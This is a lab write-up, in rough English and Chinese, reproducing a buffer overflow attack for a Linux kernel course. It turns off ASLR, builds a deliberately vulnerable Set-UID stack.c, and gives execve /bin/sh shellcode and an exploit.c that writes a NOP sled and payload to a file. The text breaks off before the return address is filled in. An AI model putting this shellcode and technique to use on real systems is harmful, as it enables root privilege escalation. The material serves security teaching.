"Linux kernel principle and Analysis" in Week 13 jobs

A week of content

By reproducing buffer overflow vulnerability attacks to understand

II. This week learning content

1. Introduction experiment

Note: In the experiment xfce command input terminal, the content in front of the command $ input terminal, $ number not need to enter. There is a comment on the contents of # command, you do not need to enter

For people:

There are C programming language

It will decimal conversion and calculation

Basic use vim

Linux familiar with the basic command
buffer overflow refers to circumstances beyond the pre-allocated program attempts to write data to a fixed-length buffer. This vulnerability can be used by malicious users to change the flow of the control program, even any fragment of code execution. The emergence of this vulnerability is due to the temporary closure of the data buffer and the return address, the overflow will cause the return address is overwritten.

2. Experimental preparation

System user name shiyanlou, laboratory building offers a 64-bit Ubuntu linux, but this experiment is difficult to see assembly statements, we need to operate in 32-bit environments testimony, and therefore need to do some preparation before the experiment, install some input commands to compile package 32 C program.

$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev

Practice shots are as follows:

3. Experimental Procedure

3.1 Initial Setup

Ubuntu and other Linux systems, the use of address space randomization to address the initial random heap (heap) and stack (stack), which makes guessing the exact address of the memory becomes very difficult, but speculation is the memory address buffer overflow attacks The essential. Therefore, in this experiment, we use the following command to turn off this feature:

$ sudo sysctl -w kernel.randomize_va_space=0

Practice shots are as follows:

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

实践截图如下：

输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash
实践截图如下：

3.2 shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的 shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

在 /tmp 目录下新建一个 stack.c 文件：

$ cd /tmp
$ vi stack.c

按 i 键切换到插入模式，再输入如下内容：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

实践截图如下：

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：（32位用不了！）

$ sudo su
$ gcc -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

实践截图如下：

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

3.4 攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

实践截图如下：

由于实验环境无法粘贴文件，我们提供代码下载，大家可以先运行查看效果：

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。现在我们要得到 shellcode 在内存中的地址，输入命令：